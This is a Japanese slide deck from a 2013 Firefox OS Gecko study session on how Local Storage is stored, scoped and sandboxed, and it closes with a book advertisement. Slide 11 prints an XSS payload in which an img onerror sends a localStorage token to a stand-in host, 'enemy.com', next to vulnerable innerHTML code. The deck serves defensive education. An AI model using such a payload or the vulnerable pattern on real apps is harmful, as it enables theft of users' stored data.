geckoのlocal storageについて調べてみた
DESCRIPTION
2013年12月19日に開催される「FxOS Gecko勉強会 その2 」の発表資料です。 2014年6月23日、アップデートしました。TRANSCRIPT
GeckoのLocal Storageについて調べてみた
FxOS Gecko勉強会 その2 2013.12.19 @ Mozilla Japan オフィス
2014.06.23 Updated
2
自己紹介
本発表は私の個人的な調査に基づくものです。 内容に誤りがあるかもしれませんがご了承ください
名前 西村 宗晃 (にしむねあ)
・https://www.facebook.com/muneaki.nishimura
職業 セキュリティエンジニア
・セキュア開発のコンサルティング
・Android端末~アプリの開発支援
3
Local Storageとは
• HTTPクライアントに永続的なデータを保存する機能
↔ Session Storage : セッション(ウィンドウが閉じるまで)の間だけ有効なデータを保存
• W3CのWeb Storage仕様の一部
⁃ 元々はHTML5仕様の一部だったが、現在は独立
• key-value形式によるデータ管理
localStorage.setItem("foo","bar");
var foo = localStorage.getItem("foo"); // foo = "bar"
4
GeckoにおけるLocal Storageの実装①
• Local Storageのデータは1つのSQLiteファイルに保存
⁃ Firefoxブラウザ (Mac):
~/Library/Application Support/Firefox/Profiles/{profile}/webappsstore.sqlite
⁃ Firefox OS:
/data/b2g/mozilla/{profile}/webappsstore.sqlite
• webappsstore2テーブルのレコードとして保存
⁃ 1組のkey-valueデータが1レコードに対応
5
GeckoにおけるLocal Storageの実装②
scope key value secure owner
moc.elpmaxe.:http:80 foo bar
※moc.elpmaxeは example.comを逆さにしたもの
• scopeにより各オリジンのLocal Storageを分離
⁃ 同一生成元ポリシー(RFC 6454)に基づくアクセス保護を実現
⁃ Firefox OSでは、同一生成元ポリシー+サンドボックスによるアクセス保護を実現(次頁)
• 例) http://example.com:80/ で foo=bar というデータを保存した場合
⁃ scopeフィールドにデータのオリジン(スキーム+ホスト名+ポート番号)を保存
6
Firefox OSにおけるLocal Storageの保護①
• Webアプリのサンドボックス
⁃ 端末内のアプリは固有のオリジン(app://)を持つ
⁃ 他のアプリのLocal Storageはアクセスできない
• ブラウザAPIのサンドボックス
⁃ <iframe mozbrowser>で開かれたページはアプリと異なるサンドボックスを持つ
⁃ <iframe mozbrowser>のLocal Storageは呼び出し元のアプリから分離される
7
Firefox OSにおけるLocal Storageの保護②
• これらのサンドボックスによるデータの保護はscopeで実現されている
⁃ = アプリID : Browser Contentフラグ(t/f) : ホスト名 : ポート番号 : スキーム
アプリA (オリジン=app://hoge・アプリID=1005)
アプリA内部のJavaScriptファイル
1005:f:egoh.:app
<iframe src="http://example.com:80">
1005:f:moc.elpmaxe.80:http
<iframe src="http://example.com:80/" mozbrowser>
1005:t:moc.elpmaxe.80:http http://example.com:80
scope
8
Local Storage自体のアクセス制御①
• 以下の場合はwindow.localStorageの参照が禁止される
⁃ GeckoのWeb Storage機能が無効化されている場合
⁃ Preferenceの「dom.storage.enabled」が「false」
⁃ Cookieの使用が無効化されている場合
⁃ サイト別設定マネージャーの「Cookieデータの保存」が「拒否」
⁃ Preferenceの「network.cookie.cookieBehavior」が「使用禁止(2)」
⁃ Preferenceの「network.cookie.lifetimepolicy」が「毎回ユーザーに確認(1)」
⁃ <iframe>にsandbox属性が適用されている場合
⁃ ただしallow-same-originトークンが指定されていない場合のみ
9
Local Storage自体のアクセス制御②
• 以下の場合はデータがストレージに保存されない(RAMにのみ保存される)
⁃ Cookieがセッションの間のみ有効である場合
⁃ サイト別設定マネージャーの「Cookieデータの保存」が「セッション中のみ許可」
⁃ Preferenceの「network.cookie.lifetimepolicy」が「ブラウザ終了時まで保存(2)」
⁃ プライベートブラウジングモードで閲覧中の場合
10
アプリのLocal StorageとXSS脆弱性①
• アプリにXSS脆弱性があるとLocal Storageのデータは盗み出せてしまう
⁃ CookieのようにJavaScriptからのアクセスを禁止する仕組みが無いため
• Firefox OSのアプリにはXSSの保険的対策としてCSPが適用されている
⁃ しかしPrivileged AppのCSPには「unsafe-inline」が指定されているので
DOMツリーにJavaScriptコードを出力しても動作してしまう (次頁参照)
⁃ Firefox OS v1.2のPrivileged Appでは「unsafe-inline」が外された模様
⁃ XSSでLocal Storageを盗み出すのは困難になった
11
アプリのLocal StorageとXSS脆弱性②
• 以下のようなコードがあるとLocal Storageのデータを盗まれてしまう
var req = new XMLHttpRequest({mozSystem: true});
req.open('GET', destination, true);
req.onreadystatechange = function(e) {
var contact = JSON.parse(req.responseText);
document.getElementById("email").innerHTML = contact.email;
}; req.send(null);
{"email":"<img src='d.png' onerror='document.location.href=¥"http://enemy.com?
token=¥"+localStorage.getItem(¥"key¥");'>"}
脆弱なアプリのJavaScriptコード例
サーバがアプリに送るJSONデータ(攻撃コード)
12
宣伝:本を書きました「狐物語」
タイトル 狐物語
ページ数 68ページ
価格 1,000円(イベント頒布価格)
表紙 イラスト しのめり / @shino_merry デザイン siosio
目次
第一話 がいあハックス @bathtimefish 第二話 あぷりサポート @cattaka_net 第三話 すまほツイリオ @junkpot1212 第四話 もじらスライス にしむねあ 第五話 かえんワールド @meco300
URL http://techbooster-c85.appspot.com/#foxtory
C85 3日目 西す24a TechBoosterにて発売